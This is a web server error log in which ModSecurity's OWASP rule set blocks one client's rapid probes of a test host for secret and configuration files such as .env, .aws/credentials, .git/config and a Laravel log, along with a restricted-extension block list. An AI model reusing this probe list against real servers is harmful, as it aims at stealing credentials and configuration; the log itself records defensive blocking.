[Mon Jul 28 12:12:34.884311 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vwAAAAY&quot;]
[Mon Jul 28 12:12:34.884478 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5vwAAAAY&quot;]
[Mon Jul 28 12:12:34.904518 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wAAAAAY&quot;]
[Mon Jul 28 12:12:34.904716 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wAAAAAY&quot;]
[Mon Jul 28 12:12:34.904884 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wAAAAAY&quot;]
[Mon Jul 28 12:12:34.924961 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wQAAAAY&quot;]
[Mon Jul 28 12:12:34.925157 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wQAAAAY&quot;]
[Mon Jul 28 12:12:34.925314 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wQAAAAY&quot;]
[Mon Jul 28 12:12:34.945187 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wgAAAAY&quot;]
[Mon Jul 28 12:12:34.945373 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wgAAAAY&quot;]
[Mon Jul 28 12:12:34.945524 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5wgAAAAY&quot;]
[Mon Jul 28 12:12:34.986534 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5xAAAAAY&quot;]
[Mon Jul 28 12:12:34.986750 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5xAAAAAY&quot;]
[Mon Jul 28 12:12:34.986916 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aIdNElZrvY5pTGkMO5x5xAAAAAY&quot;]
[Mon Jul 28 12:12:35.006967 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x5xQAAAAY&quot;]
[Mon Jul 28 12:12:35.007171 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x5xQAAAAY&quot;]
[Mon Jul 28 12:12:35.007363 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x5xQAAAAY&quot;]
[Mon Jul 28 12:12:35.337559 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51AAAAAY&quot;]
[Mon Jul 28 12:12:35.337776 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51AAAAAY&quot;]
[Mon Jul 28 12:12:35.337955 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51AAAAAY&quot;]
[Mon Jul 28 12:12:35.357997 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51QAAAAY&quot;]
[Mon Jul 28 12:12:35.358208 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51QAAAAY&quot;]
[Mon Jul 28 12:12:35.358413 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51QAAAAY&quot;]
[Mon Jul 28 12:12:35.378353 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51gAAAAY&quot;]
[Mon Jul 28 12:12:35.378584 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51gAAAAY&quot;]
[Mon Jul 28 12:12:35.378757 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x51gAAAAY&quot;]
[Mon Jul 28 12:12:35.420112 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52AAAAAY&quot;]
[Mon Jul 28 12:12:35.420335 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52AAAAAY&quot;]
[Mon Jul 28 12:12:35.420525 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52AAAAAY&quot;]
[Mon Jul 28 12:12:35.666328 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52gAAAAY&quot;]
[Mon Jul 28 12:12:35.666738 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52gAAAAY&quot;]
[Mon Jul 28 12:12:35.666946 2025] [:error] [pid 1516225] [client 185.177.72.12:41570] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIdNE1ZrvY5pTGkMO5x52gAAAAY&quot;]
